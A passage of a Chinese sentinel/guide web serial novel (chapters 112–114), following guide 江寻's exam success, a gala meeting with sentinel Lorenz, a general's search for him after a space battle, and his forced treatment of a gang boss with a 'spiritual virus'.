他再未多言，也没有兴趣去逢迎那些被众多哨兵包围起来的零星高级向导。只是将这张小小的卡片，慎重地收进了怀中，转身，身影无声地融入离场的人流。 * 接下来的几天里，江寻的生活恢复了短暂的平静。 精神力的大量透支需要时间恢复，他无奈地暂停了傍晚诊所中的工作，窝在他的临时公寓里，缓缓引导着新生的精神力，重新充盈干涸的精神海。 灵性的感知如影随形，链接的彼端再无疼痛与枯竭感传来，取而代之的，是一种奇异的、渐发生机的脉动感。 链接的那头就是他一直在寻找的人，他还好好地活着。 只是这个简单的认知，便让他在修养期间一直保持着良好的心情，连精神力的恢复都快了几分。 这几天里，他在恢复精神力的同时，也在静静等待着。 等待着圣所公布最终考核结果的日子到来—— 作者有话说：二更来啦~[三花猫头] 第112章 三天后。 当清晨的第一缕阳光落在江寻闭着的眼眸上时。 他缓缓中冥想中睁开了双眼。 经过几天的修养， 他的精神力虽未恢复至巅峰，精神海却已恢复近半，汩汩能量在体内平稳流转， 支撑日常行动已无大碍。 看了看时间， 他利落地换上一身干净的外出衣物， 推门而出。 圣所核心区，公告广场。 巨大的光屏悬浮在半空中，下方早已人头攒动， 不止是参加考试的考生， 更多的是闻讯聚集而来的众多哨兵。 众人喧哗的声浪几乎要掀翻穹顶，所有人的目光都紧紧锁在光屏上滚动着的通过名单上。 几个已在名单上找到自己名字的高级向导，不论男女老幼，统统被光屏下聚集着的高级哨兵们团团围住。 纷纷攘攘的自荐声，透过拥挤的人潮传出老远。 当江寻的身影拐过走廊，出现在人群外围时， 更如在滚烫的油锅里滴入了一滴水， 人群瞬间沸腾了起来！ “快看！是夏因阁下！” “那个提前交卷的B级向导！” “夏因阁下！恭喜恭喜！” “夏因阁下， 我是……” “你别挤，我先看见的……” 瞬间， 无数道目光聚焦在了他身上，有哨兵的， 也有部分向导的。众多目光中蕴含着的情绪，复杂难辨。 形形色色的人潮纷纷向他涌了过来， 嘈杂的声浪瞬间将江寻淹没。 “夏因向导，我是艾佛里家族的皮尔逊，很高兴认识你！” “夏因阁下，等下能请您吃个午饭吗？” “夏因阁下， 方便交换一下通讯号吗？” “您好，夏因向导，我也是从边境星系来的，可以交个朋友吗？” 江寻面上挂着一抹和煦的笑意，却一个问题也没有回答。脚下步履不停，径直向着光屏下方走去。 他的面容明明看着温和，气质中却透出一分疏离。那些蜂拥而来的热情人群，竟不自觉地在他身前半米处停下脚步，不敢过分搅扰。 他的目光平等地从每个人的脸上滑过，却没有丝毫停留。 就在这时，前方的人群突然一顿，像是被无形的力量分开，纷纷向两侧退去。 一道颀长挺拔的身影，宛如一条破开海面的银鱼，从分开的人潮之中跨步而出。 挺括的蓝色训练服勾勒出利落身形，一头闪着冷冽光泽的银色发丝在阳光下熠熠生辉，冰蓝色的眼眸沉静深邃，领口中央，一枚宝蓝剑徽缀着闪亮银钉，反射出锐利的光芒，来人正是洛伦茨！ 他并未像旁人一般，急切地凑到江寻身边攀谈，只是站在一米之外，对着江寻微微颔首致意，动作间带着一种克制与距离感。 看清他的身影，周围嘈杂的人群纷纷面露惊异，有的摇了摇头转身离去；有的交头接耳，嗡嗡地窃窃私语；还有的，则面露不屑嘲讽，冷冷嗤笑一声。 洛伦茨似乎早已习惯了旁人对他的态度。 他的声音不高，话语却清晰地穿透了四周的喧嚣，落入江寻耳中： “恭喜通过高级考核，夏因向导，”他顿了顿，目光落在江寻挂着笑意的脸上，似乎在观察他的反应，“高级研修班的课程中，会有许多哨向合作的内容，我期待与你的合作。” 江寻的目光与他冰蓝色的眸子短暂相接，似乎从面前人的眼神中读出了什么，嘴角的笑意缓缓敛去，他深深看了洛伦茨一眼，点了点头：“谢谢。” 话音落下，他跨步前行，头也不回地擦过洛伦茨的肩膀，径直走向前方那面巨大的光屏。 洛伦茨垂眸看向肩膀，两肩擦过时那点轻微的力道，却像羽毛在心尖上不轻不重地挠了一下。他眼睫微眯，唇角勾起一丝兴味的弧度。 其实，无需再去看那光屏，单凭众人的反应，江寻便已明了了结果。 然而，一股冲动还是驱使着他，分开人群，一步一步走到了光屏之下。 他抬起头，目光投向那象征着圣所最高级别准入资格的名单。 在名单的最上方，两个简洁而有力的字眼，如同星辰般熠熠生辉。 夏因。 江寻心中一股酸涩涌起，亦喜亦悲的复杂情绪瞬间弥漫开来。 夏因…… * 名单既已公布，圣所行政人员随即现身，向所有录取学员宣布了后续的注意事宜。 参与高级研修班考试的学员，都已是成年人，所以圣所也没有另行设立辅导员。 行政人员在宣讲完具体的注意事项之后，便告辞离去，留学员们自行处理的入学手续，只叮嘱大家在明天上午九点抵达星穹大厅，参加本届研修班迎新会。 之后的一整个下午，江寻都在忙忙碌碌地缴费登记、领取制服课本，只是在住宿问题上，因为还需要继续维持他的诊所，再加上后续还想练习新技能，所以没有搬到圣所的集体宿舍中，而是选择在如今的临时公寓中续租。 一切准备完毕，次日，江寻换上崭新的纯白向导制服，准时出现在了核心区星穹大厅的门口。 星穹大厅的灯光依旧从穹顶柔和洒落，此时却没了考场的肃穆，点点光斑映照在如镜的地面上，耀出一片璀璨光辉。 大厅中央的桌椅已被撤去，铺上了一层厚厚的金色华丽地毯。 书页与油墨的清香消散无踪，取而代之的，是昂贵的香氛与甜蜜的餐点香气。 星穹大厅顷刻间从高贵的知识殿堂，化身为交织着权力与财富的堂皇宫殿。 与会者们也在这种气氛下，多了几分高贵矜持，三三两两地聚集在一起，低语寒暄间暗流涌动。 江寻踏入会场时，并未引起太大的骚动。他的面上习惯性地挂着一抹温和的浅笑，一身纯白崭新的向导制服，为他的气质里更添了三分矜贵，显得格外挺拔优雅。 周围若有若无投射过来的视线，纷纷在看到他的新形象时，眸中一亮，染上一抹热切。 很快，他的名字便在好几个小圈子里被频频提起。 不远处，此时正有一位容貌昳丽的纤细向导，被三四名年轻的哨兵殷勤地环绕在中心，被逗得抿唇直笑。 同样的一身纯白制服，穿在他的身上，却让人觉得格外俊俏。 他看着年纪也不大，只有二十出头的样子，微微扬起下巴时，领口的C级向导徽章，闪烁出明亮的光辉。 桑扶的脊背挺得笔直，像一只骄傲的小孔雀。 作为外域来客，首次参考就通过了最高研修班的入学考试，他对于身边的种种夸赞接受得理所应当。 桑扶的唇角始终噙着一抹甜美的笑意，与身边的哨兵们聊得热闹，偶尔回应一两句身边人的恭维，声音清脆娇憨，带着一种美人特有的天然优越感。 一边应付着身边的几个哨兵，他的目光还如同轻盈的蝴蝶，在人群中飘飞着，最终轻飘飘地落在了大厅另一侧，被几个气度不凡的低级哨兵，团团簇拥起来的金发男人弗兰克身上。 弗兰克无聊地听着身边这帮精力旺盛的年轻哨兵们，热情勃勃地谈论着场上那些有名的高级向导们，却突觉一道目光落在了自己身上。 敏锐地扭头望去，正正与桑扶撞上！ 两人的视线在空中短暂地交汇，目光流转间，似乎有无形的涟漪荡漾开来，弗兰克的目光在桑扶姣好的容貌上一顿，眉梢一挑，露出一抹兴味的笑容，随即又扭过了头去。 桑扶低低一笑，目光也恢复成矜持的高傲，轻飘飘地滑了开来，仿佛刚才只是漫不经心间的一瞥。 当他的目光收了回来，这才从身边哨兵们的谈论中，再次捕捉到了那个这几天一直出现在耳畔的名字。 “……他就是那个夏因……对啊，听说连艾略特教授都格外看重他。” 又是这个名字！ 桑扶的脸色沉了下来，眼中闪过一丝不悦的光芒，顺着众人的目光看过去，便看到了独自站立在一旁的江寻。 他眸光一转，端起酒杯，姿态优雅地摆脱了身边的哨兵，带着一丝试探与好奇，踱步走到了江寻面前。 “夏因同学？”桑扶开口，笑不露齿，温和得体，语气中却带着一丝不易察觉的审视，“恭喜考入研修班，以后我们就是同期了，我是桑扶。” 他伸出手，动作标准，带着一种居高临下的笃定意味。 江寻脸上的笑意丝毫未变，目光落在凑近过来的漂亮面孔上顿了顿。 礼貌伸出手，与桑扶虚虚一碰，力道轻得几乎感觉不到，一触即离：“你好，桑扶同学，同喜。” 话语平静无波，不含一丝多余的情感，仿佛只是在回应一个最普通的问候。 桑扶面色一冷，面上的笑容瞬间僵住，眼底掠过一丝被轻视的羞恼。 即将吐出口的客套话一下子卡在了喉咙里，精心维持的高傲姿态显得有几分尴尬。 桑扶眉头一皱，迅速收回了手，下颌微微收紧，仿佛马上就要发怒。 下一刻，似是又想起了现在的场合，面上重新挂上了笑，强自恢复了那种矜持疏离的姿态，仿佛刚才的主动搭讪从未发生过。 他微微颔首，连告辞都懒得说，转身便走。 江寻看出了对方的不虞，却并未在意。他来研修班只是来学习知识的，无意卷入这些弯弯绕绕，其他人对他是什么看法，他也根本不在乎。 “夏因大哥！” 桑扶刚走，两声带着些刻意的惊喜呼唤便从身侧响起。 江寻扭头，看到了两张熟悉的面孔——扎克和米娅。 不久之前，还与他一起乘坐希望号，肩并着肩趴在舷窗上，畅想着未来的两个纯真孩子，如今已经穿上预备向导的制服，脸上挂上了稍显陌生的笑容。 “夏因大哥，”米娅的声音细细的，似乎还如当初一般腼腆又胆小。她的制服好像有些大，手指紧张地绞着衣角，眼神躲闪，不敢直视江寻。 说到一半，她飞快地瞥了一眼远处一个正凑在弗兰克身边的年轻男子——是西斯科，面上挤出一丝笑容，这才结结巴巴地继续说道：“恭……恭喜你考上高级研修班！” 一句话说话，像是终于完成了什么艰难的任务一般，狠狠吐出了一口气。 旁边的扎克隐蔽地觑了她一眼，面色稍冷，又在看向江寻时换上热切。 他努力挺直了脊背，身上的制服有些皱，笑容显得刻意，还带着稍许僵硬：“夏因大哥，恭喜。” 他只说了这短短几个字，却像是耗尽了力气，嘴唇嗫嚅几下，再想开口，看着江寻平静的双眼，却哑然无声。 他的面上浮起挫败，眼神中闪烁着微弱的希冀。 江寻深深看了他们一眼，话语出口，却带着明显的距离感：“谢谢，也恭喜你们顺利入学。” 这份温和的疏离，清晰地划开了三人间的界限。 米娅的眼中涌起委屈和失落，头垂得更低，手指绞得发白。 扎克则像是被那温和的目光刺痛了自尊，脸色白了白，挺直的脊背微微塌陷一些，抿紧了嘴唇。 他再次抬眼看了江寻和身旁的米娅一眼，沉默地转身，融入了身后的人群之中。 江寻也不再去管米娅心中的小心思，向她点了点头，便径直走向角落摆放着饮品的吧台，远离这裹着华丽外衣的名利场。 角落里偏僻昏暗，人影寥寥，比大厅中央宁静了许多。 江寻吁出口气，刚刚伸手搭向餐台上的一杯冰水，身后光线一暗，一道清冽的雪松气息便悄然笼罩了过来。 几缕银发滑落下来，若有似无地拂过江寻的侧脸。 过近的距离让江寻动作微微一顿。 他微侧过头，洛伦茨那张冷冽清寒的面容，便映入了他的眼帘。 洛伦茨此刻却没有看他，睫毛半敛遮住那双深邃的冰蓝眼眸，上身微倾，胳膊越过江寻的身子，修长的手指滑入江寻掌下一拨，便从他手中灵巧地抢走了那杯普普通通的冰水。 动作间，指尖从江寻手心若即若离地划过，像是被羽毛轻轻搔过，微痒。 “有些渴了，夏因向导不介意吧？” 洛伦茨轻举酒杯，露出一个恰到好处的歉意微笑，侧过脸来对着江寻说道，声音低沉如同耳畔私语。 话落，酒杯凑近唇边，仰起下巴时，恰恰将领口那枚闪耀着银蓝光泽的A级哨兵剑徽，完整地袒露在江寻眼前。 江寻眼神在洛伦茨面上一转，不动声色地跨前一步，脱离了他的气息笼罩，转过身来，重新从桌上取了一杯水，遥遥一敬： “当然不介意，阁下请便。” 洛伦茨好似丝毫没有看出江寻的避让，重新站直了身子转过身去，向后轻轻一靠，两人之间的距离再次微妙地拉近。 手臂若有似无地擦过江寻的衣袖，带来一丝微凉的触感，稍纵即逝。 他没有扭头去看江寻，悠闲地单臂环肘，目光随意地扫过会场：“很热闹的场面，不是吗？” 声音不高，带着磁性的低沉，仿佛只是随口感叹，又像是若有所指。 江寻握着冰凉的杯壁，脸上温和的笑意不变，似是什么也没听出来，侧头看向他：“确实。” 洛伦茨这才将目光转回了江寻面上，冰蓝色的瞳孔深处，似乎有极淡的莫测笑意一掠而过。 他微微倾身，动作自然流畅，像是要取旁边餐盘上的点心，气息却拂过江寻的耳畔，用只有两人能听清的音量低语：“不过，真正的热闹……还在后面呢！” 他顿了一顿，凝视着江寻沉静的侧脸：“你知道开课以后的第一件事是什么吗？” 江寻眼睫几不可查地颤动了一下。 洛伦茨精准地捕捉到了这一瞬间，嘴角勾起一个极淡的弧度。 “所有新晋的研修班高级向导，都要接受一次精神力匹配度测试，测试结果会自动录入灵枢精神监控中心，智脑会根据这些数据，与数据库中现有未绑定哨兵的数据进行匹配，并将名单自动推送到所有达到60%最低绑定匹配度的哨兵终端上。” 他的目光在江寻脸上流连，声音压得更低，语调里带着一丝隐秘的暧昧：“我很期待……智脑推送的名单……” 说完，他并未等待江寻的回答，优雅地直起身来，对着江寻举杯示意，冰蓝眸子含着笑意，深深看了他一眼。 随即转身，优雅从容地融入了大厅中央璀璨的人流之中。 江寻站在原地，指尖感受着杯壁传来的丝丝凉意。 手指微动，杯中的水面泛起细微涟漪。 他面上惯有的笑容敛了下来，眼神久久跟随着洛伦茨的身影，直至他彻底消失在自己的视线之中—— 作者有话说：一更！吃个饭再写[三花猫头] 第113章 另一边， M85星系，旗舰镇魂号。 主屏幕上，在敌方的指挥舰爆裂成一团火球， 又被撕扯成碎片之后， 代表着冥渊的信号光点也急速黯淡了下去。 刺耳的警报声在舰桥炸响！医疗官手中的生命体征监测仪上， 猩红的警报灯疯狂闪烁！ 整个舰桥瞬间陷入混乱。 塞西尔手中的通讯器几乎要让他捏碎，不断地呼叫与通讯，让他的喉咙完全嘶哑了下来， 直至通讯信号戛然而止。 “可恶！” 他的拳头狠狠砸上面前的控制台， 眼睛死死盯着屏幕上那个骤然熄灭下来的光点。 医疗官面色惨白，却是此刻舰桥上唯一勉强维持住冷静的人。他飞快地接通了离冥渊最近的几艘护卫舰的通讯器，嘶声力竭地喊道：“医疗支援小队！立刻向目标位置全速靠近！准备紧急救治！重复，立刻全速靠近！” 他们明明以雷霆之势彻底消灭了敌人，可整个舰队却因为主将的生死未卜，笼罩在沉重的阴影之中。 “咦……？！” 就在这时， 一个呆坐在座位上， 傻愣愣看着面前屏幕的操作员， 猛地发出了一声惊疑。 他的目光死死盯着面前那颗小小的光点，面上爆发出狂喜：“上校！信号！信号开始恢复了！” 在所有人惊疑的目光中， 屏幕上，那微弱到几乎要熄灭的光点， 竟奇迹般地停止了消散。虽然光芒依然黯淡，却顽强地稳定了下来。 耳边一空， 刺耳的警报声骤然消失！医疗官猛地低头看去，手中刚才还红光频闪的监测仪不知何时已悄然熄灭。 紧接着，在众人屏息地凝视中，那条象征着生命体征的曲线， 竟然开始微弱地向上攀升！ “这……冥渊的漂移停止了！” “少将！少将的生命信号稳住了？！” “将军赢了？！我们赢了？！” 沉重的气氛被倏然打破，震耳欲聋的欢呼声如同海啸般席卷整个舰桥！在场的所有人，都因为这个突如其来的惊喜，激动得热泪盈眶。 塞西尔紧绷的身体猛地一松，整个人虚脱一般重重向后一倒，大口喘起粗气。面上，是混杂着一丝震惊与茫然的狂喜。 医疗官扑了上来，两人对视一眼，捂住剧烈跳动的心口，终于如释重负地笑了出来。 三日后，镇魂号医疗室中。 陆厌离缓缓睁开了双眼，头顶刺目的白光让他下意识地眯了眯眼。 身体依然沉重而疲惫，每寸肌肉都酸痛不已，但精神海却已经安静了下来，一股活跃而温润的能量沿着体内被修复完好的经脉，汩汩脉动着，充满了蓬勃生机。 “嗤！”一声响。 医疗舱盖滑开，恒温营养液被迅速排除了出去，空气里弥漫开缓释剂与其他药物混杂在一起的气息。 一直守候在旁的塞西尔立刻扑到舱前，声音里满含惊喜： “少将！您醒了！” 正在打盹的医疗官被他这一声呼唤惊醒，看到那三天里无知无觉地躺在舱中的人，慢慢睁开了双眼，也是面露喜色，快走几步迅速上前，手指在舱前的控制面板上飞速划过，调阅着陆厌离的各项基础生理数据。 这里是…… 陆厌离的意识缓缓回笼，不久之前的记忆如潮水般涌入脑海。 他的眼睛倏然大睁，猛地半坐起来。 江寻！ 他完全忘记了自己身上逸散而出的毒素，猛得一把抓住了扑到面前的塞西尔，声音嘶哑急切：“塞西尔，江寻！是不是有一个叫江寻的人来过？！” 塞西尔默默接过旁边的医疗官递过来的一管解毒剂，咬开封口囫囵灌了下去，这才一脸茫然地开口回道：“没有啊，江寻？那是谁？少将，您是在星盗团里看到认识的人了吗？” 没有？ 陆厌离面色一僵，怎么可能！ 他握了握拳，体内重新充盈的精神力，宁静而富有生机，明明是他最熟悉的、属于江寻的力量！ 他猛地想到了什么，不顾身上还连接着数条探针与传感器，扭头急切地摸索向自己的后腰。 他记得，那时，那股力量便是从这里涌入他的身体的！ 指尖触及之处，一片光滑，后腰皮肤上完好无损，洁白如初，什么痕迹也没有留下。 什么……为什么什么也没有？！ 那滚烫的灼烧感，那精神力彼此交缠的感觉，那恍惚中的一声呼唤，那精神核心之中传来的强烈吸引，一切的一切，明明在他的记忆里清晰得如同刚刚发生，为什么现在却如一场幻梦一般，不留一丝痕迹？ 一股强烈的焦灼与恐慌袭来，瞬间攫住陆厌离全部的心神，仿佛不立刻找到那个人，自己便会被他彻底遗弃。 马上去找他！立刻！ 陆厌离猛地抬头看向自己的副官，声音嘶哑，却带着不容置疑的命令：“塞西尔！过去几天了？战场情况如何？” 塞西尔瞬间进入了自己的角色，挺直脊背面色一肃，快速汇报： “报告将军！我军已于三天前彻底击溃‘断刃’星盗团主力舰队！敌方所有重要据点均已拔除，负隅顽抗者已肃清，剩余投降人员正在进行甄别，分类收押！战场清点已完成70%，所有伤员已得到妥善安置！舰队已完成初步整备，随时可以进入下一阶段行动！” “很好。”陆厌离闭了闭眼，在心中迅速做出决断，“第一、第二分舰队，由你率领，按照原定计划，清剿剩余残敌，接收俘虏及战利品，安抚星系内被解放地区，务必彻底根除所有隐患！” “是！” 塞西尔肃然领命。 “第三、第四分舰队，随我即刻向中央星域返航！”陆厌离目光锐利，扫过星图，思索片刻，指尖精准地点在一处，“目标：十字星锚点！” 塞西尔一楞，十字星锚点？那个巨大的星际中继站？ “少将，我们还有其他紧急任务吗？可是您的身体状况还不明了，需要尽快回到中央星域接受更全面的……” 医疗官忍不住开口。 “我已经没事了！”陆厌离打断他，语气斩钉截铁，“让领航员立即规划最优路线，进行长距离连续跃迁，以最快速度抵达十字星锚点。” “然后，舰队沿通往中央星域的主航道前进！并在主要航道节点与枢纽星，进行短暂停靠！尤其是，在三天前曾报告过出现异常精神波动或者能量反应的区域！” 陆厌离深吸一口气，眼中燃烧的火焰近乎偏执：“调用舰队所有侦测设备，尤其是高精度精神波谱分析仪，对停靠区域及周边星域进行最高级别扫描！全力搜索出现在三天前的异常精神力残留信号！” 塞西尔和医疗官震惊地对视一眼，都看到了对方眼中的不可思议。 “少将，您是说，您三天前在战场上那奇迹般的恢复，是因为……”塞西尔试探着问道。 “没错！”陆厌离的目光穿透舷窗，投向遥远的星海深处，“虽然我不知道具体发生了什么，但是，救了我的，是一个人，一个向导！” 他的手指轻轻抚向自己那已经完全看不出任何异样的后腰，轻声补充道： “我的向导……” 半天后。 镇魂号巨大的舰体，在三日的沉眠之后，再次甦醒了过来。 在无数护卫舰的簇拥下，它缓缓调整了方向，庞大的引擎阵列轰然点燃，积蓄力量开始缓缓加速。 控制室主屏幕上，一道指向遥远星域的长长航线，闪闪发光。 陆厌离向后一倒，靠在高踞中央的指挥椅中，缓缓闭上了眼睛。 身体的疲惫与酸痛依然清晰，精神却异常活跃，充满了生机与力量。 这一次，没有任何人能阻挡我的脚步。 无论你在哪里，我一定会找到你的踪迹。 等着我，江寻！—— 作者有话说：二更！修完啦！[加油] 第114章 迎新会的后半段， 乏善可陈。 就如同所有的官方仪式一样，塔中高层与军部代表，依次发表了一篇冗长的讲话后， 宣布在三天后正式开学。 随后， 各方要员便纷纷退场， 将空间留给了即将成为同窗的学员们。 一群正值盛年的年轻哨兵向导聚集在一起，空气中弥漫着的净是躁动的荷尔蒙气息。 江寻对这种事毫无兴趣，趁着导师、高层们退场的机会， 也混在人流中悄然离开了星穹大厅。 今天那个洛伦茨提及的匹配度测试让他十分在意， 出得门来，他沉吟了片刻，脚步一转，向着暗巷诊所的方向走去。 这几天，因为精神力一直没有完全恢复，诊所这边一直处于歇业状态。 到了今天， 精神力已经恢复了七七八八， 再加上他也想探听一下关于匹配度测试的消息， 便索性提前结束了休整。 时间刚刚过午，属于暗巷的时间还没到来， 临街的店铺房屋，统统门窗紧闭， 整条街道上空无一人。 江寻也不着急，慢悠悠地踱步踏上自家诊所的台阶， “吱呀”一声推开那扇不起眼的大门，打破了小巷的寂静。 刚脱下崭新的纯白制服外套，换上惯常的深色便服与白大褂，诊所大门就被人急切地拉开， 又“砰”一声，迅速关上。 江寻一眼便认出了眼前这个熟悉的身影，却对他的举动有些不解。 房门一关，室内的光线骤然黯淡了下来，然而来人面上焦急的神态，却在昏暗中分外清晰。 “希先生！您怎么这时候回来了！”沃特的声音压得极低，透着明显的紧张，“出大事了！” 江寻的眉头轻轻蹙起，脸上惯常挂着的温和笑意敛了下去，心中提起警惕。他没有打断，示意沃特继续说下去。 沃特咽了口唾沫，语速十分快：“是黑蝎曲绍！东区那边的老大！A级巅峰，据说半只脚都踏进S级门槛了！他最近出事了！精神域出了大问题，像是被什么脏东西污染了！塔那边他根本沾不上边，黑街里能叫得上名号的向导，他都试过了，没一个能碰得了！听说现在情况越来越糟，人都快疯了！” 他喘了口气，端起手边的水杯咕咚咕咚灌了几口，一抹嘴边水渍，语气更急：“不知道哪个王八蛋把您给捅出去了！说您等级很高，治好了不少高级向导，还特别擅长净化污染！您前几天不在，躲过一劫。黑蝎手下的人这几天一直像疯狗一样在附近转悠，就等您开门！您今天要是没回来，我都打算想办法给您递消息，让您千万别露面了！” 沃特凑近一步，呼出的热气里都带着急迫：“希先生，听我一句劝！那黑蝎可不是普通人！心狠手辣，疑心病重得要命！您要是被他抓去了，治好了是运气，要是治不好……” 沃特的声音提高了一个度，喉结滚动：“以他的性子，您到时候就危险了！您听我的，趁现在时间还早，他们的人还没发现您回来，快走！等他……等这阵子风头彻底过去了，我再给您报信！” 昏暗的光线里，江寻的面色沉静，心中却在快速思量着，指节在桌面上一下一下轻轻叩击，他正想开口说些什么…… “砰！砰！砰！” 闷雷般的砸门声，骤然炸响！粗暴地打断了两人的低语，沉重的力道，震得薄薄的门板簌簌颤抖！ “开门！希先生！我们知道你回来了！”一个粗粝强硬的声音穿透门板，“我们老大有请，请您跟我们走一趟吧！” 不容置疑的命令，惊得沃特的脸色瞬间惨白，身体猛得后退一步，看向江寻的眼中充满了惊惧：“完了……他们、他们一直有人在这里盯着……” 江寻的眼神一凝，扭头看向那已经开始摇晃的门板。他看了沃特一眼，示意他噤声退避。 抬手理了理衣襟，下颌微微扬起，江寻从容不迫地走到门边，“咔哒”一声打开了门锁。 门外，三个身材魁梧，气息彪悍的男子呈三角站位，堵死了所有出逃的去路。 为首一人，脸上斜亘着一道狰狞刀疤，疤痕斜斜掠过眼角，衬得眼神格外凶戾。一见门开，他便踏上台阶，毫不掩饰地上下打量着江寻，眼神冷漠如同对待死物。 台阶下两人，一手有意无意地按在腰间鼓囊囊的武器上。 “希先生是吗？”刀疤脸扯开一个笑容，眼神中却毫无温度，目光越过江寻的肩头，向屋内扫去，冷冷一哼，“您可让我们好等！” “听说您实力高强，手段高明，想必不会让我们难做吧？”他冰冷地一笑，对屋里瑟缩着的沃特视若无睹，侧身让开一步，但那铁塔般的身躯形成的压迫感，却让人完全无法放松。 江寻的目光从面前三人身上扫过，返身关上了门，当先一步走下台阶：“带路吧。” 黑街东区。 相较于暗巷的混乱喧哗，东区显得异常安静，但这并不意味着安全。 空气里沉淀着铁锈与硝烟的味道，来往的行人极少，却个个都佩着武器，气息彪悍，眼神锐利。 江寻步履沉稳，边走边思量着，大脑急速运转，不放过沿途任何一个信息。 越接近目的地，空气中混杂的味道就越是复杂，及至走到那守卫森严的小楼门前时，刺鼻的药味与甜腻的血腥气已经扑面而来，无可遮挡。 江寻鼻翼微动，更从中捕捉到了一丝若有似无的奇怪腐败气息。 沉重的金属大门被推开，那把他“请”来的三个人并没有跟着进去，躬身一礼，退后一步便隐入了阴影里。 门边守卫的目光齐刷刷聚焦在他身上，眼神个顶个的冰冷，不容退缩。 江寻眼神冷了下来，指尖微不可见地捻动了一下，迈步踏入房间。 室内空旷安静，一人高踞中央，端坐在宽大的金属座椅上。 他的身形异常魁梧，身上肌肉遒劲，仅他一人，那渊渟岳峙的气势，便盖过了门外所有的守卫。 但江寻还是敏锐地察觉出了这迫人气势下的那份不谐。 走进一些，再仔细看去，只见面前这人，皮肤呈现出一种不健康的暗灰色，眼窝深陷，瞳孔深处翻涌着浑浊的暗红，呼吸间，能听到空洞风箱般的“嗬哧嗬哧”声，连呼出的气息里，都夹杂着股子腐败的臭味，整个人透出一种外强中干的虚弱衰败。 随着江寻走近，他的眼皮微微一抬，浑浊的眼珠转动了一下，锐利的目光便如刀子一般刺了过来！ 强烈的带着攻击性与不详污秽感的精神力场猛地张开，如同粘稠的乌黑泥沼，一下子便把江寻完全笼罩了进去。 从上而下落在他身上的目光，带着浓重的审视与压迫感。 “你就是那个‘希先生’？”曲绍的声音干涩暗哑，颗粒感极重，“听说你本事不小，治好过好几个B级哨兵，在黑街里出现没多久，就闯出了不小的名头？” 江寻不动声色地微微后仰，避开扑面而来的那股窒息压迫感，唇角微勾，挂起一个不达眼底的弧度，颔首道：“不敢当曲老大夸奖，都是大家看得起我。” “哼！” 曲绍从鼻腔里发出一声冷哼，身体微微前倾，那股充斥着污秽气息的精神力场更加迫近压下，“少跟老子玩虚的！我曲绍是个粗人，我的情况，想必你也看到了！找你来，就是让你把这污染给老子弄干净！” 江寻略略抬眼，迎上曲绍压迫性的目光：“我打开门做生意，只要力所能及，自然不会把病人往外推。” 曲绍眯起浑浊的眼睛，上下打量江寻一圈，力场缓缓收回些许：“你倒是胆子大！你知道我的等级吧？看来你的向导等级确实不低！你放心，只要你能把我治好，我曲绍绝不会亏待你的！不过，我有个条件！” 曲绍的眼神陡然变得极其危险，“听着，小向导，我的精神图景，你，不准窥探！听清楚了吗？” 江寻眉头一皱，高级哨兵本身的抵抗力与承受能力就极强，精神力方面要是出了问题，根源往往就是由内而外的，精神图景的污染与损坏，更是大部分情况下，病情的源头。不准碰精神图景？那谁也不能保证能治好他。 思及此，江寻面色丝毫未变，迎着曲绍充满威胁的目光看了过去：“曲老大，这一点我不能保证。您有顾虑，我理解。但是我们治疗起来，首先就要确定问题的源头到底在哪里。如果问题出在精神图景里面，那即便是愈灵殿的首席亲临，也不可能保证治得好你。” 他的语气平和，言语专业条理清楚，让人不得不信服： “我要先对您身上的污染进行检查，才能判断出问题到底出在哪里，以及是否能在不进入图景的前提下为你治疗。如果检查后确认根源在图景内部，那么……”江寻语气一顿，“这病，恕我无能为力，阁下只能另请高明了。如果根源不在图景内部，那我自会尽力医治。” 话音落下，房间里一片死寂，曲绍浑浊的眼睛里凶光闪烁，眼神一寸一寸在江寻身上徘徊，似乎是在衡量他话语里的真假。 周身逸散出的，不受控制的精神力触手，盘旋在江寻身边，不住盘绕试探。 终于，曲绍的眼皮耷拉了下去，周身躁动的精神力也偃旗息鼓下来。他猛得向后一靠，挥了挥手，带着不得不妥协的烦躁：“好！看在你这份胆量上，我就让你检查看看！但你最好好好记住老子的话，敢动歪心思，老子让你生不如死！” 说完，他将一条粗壮的手臂搭在冰冷的金属扶手上，朝着江寻招了招手。 江寻深深看了已经闭上眼睛向后靠进椅背的男人一眼，上前几步，稳稳地将手指搭上了他的手腕。 随即，精神力一动，一缕极其凝练的精神力丝线，便如探针一般，顺着对方的手臂经络，向深处探了进去。 时间一分一秒过去，房间里落针可闻。 江寻的额角渗出点点细密的汗珠。 曲绍体内精神域的状况，比他预想的还要糟糕。 浑身的精神力几乎尽数被那不知名的污染，浸染成了灰黑色。那污染源也不知是什么，活性与侵略性极强。被污染的精神力，充满了混乱与凝滞感。江寻的精神力丝在对方浩瀚翻涌的精神海中，连穿行都十分艰难，那污染还对他的精神力蠢蠢欲动，不断试图把他的力量也缠缚起来。 他能感知到，一丝丝纯净的精神力，每每刚从精神海最深处孕育成型，便会立刻被那股污染侵蚀吞噬，染上阴霾。 幸好，新生出的精神力是洁净的，看样子问题确实不在精神图景内部。江寻心下微松，念头一动，更多的精神力丝线被他释放出来，沿着身体脉络向着曲绍周身覆盖延伸过去。 曲绍明显察觉到了侵入体内的精神力的动向，眉头紧锁，沉着脸看了江寻一眼，勉力压抑下本能的反抗冲动，将蠢蠢欲动的精神力竭力收束起来。 江寻一边操控着精神力向对方的躯干深处蔓延过去，一边凝神“看”向那些已经被污染的精神力流。 这股污染十分奇特，它像是无数细小的病毒、或者孢子，紧密附着寄生在精神域的能量流之中，随着精神力的运转，在体内不断扩散增殖。 当他的精神力丝蔓延到曲绍后背某处时，突然停滞了下来。 原来如此！ 江寻猛地睁开眼，眼中闪过一丝明悟。迎上黑蝎探究的目光，语气中带着不容置疑的笃定： “找到了！阁下的问题根源，确实不在精神图景内部。” 曲绍眼中爆发出精光，身体微微前倾：“说下去！” “如果我所料不差，阁下是否在近期受过伤？” 江寻的目光探究地看向曲绍右后肩：“位置应该就在右后肩上，您的精神力，就是在这次受伤后被污染的！” “没错！”曲绍沉声点了点头，“不过，这个原因，之前有好几个向导也看出来了，但是他们依然无法彻底治好我。” 即使听到对方刻意向他隐瞒了重要的信息，江寻的语气依旧平稳：“其实您一开始的伤情并不严重，因为这道伤口本身的危害并不大，真正棘手的是它极高的传染性。” “这是一种典型的，具有高度传染性的精神病毒污染。这种病毒并不是固定在伤口处的，而是像孢子一样，不停吸收着您的精神力分裂增殖！并且随着精神力的流转扩散到了全身。” “您找来的其他向导，恐怕也有人看出了这点吧？他们的治疗是有效的，但是始终无法根除，污染会不停地反复发作，并且一次比一次严重，对吗？” 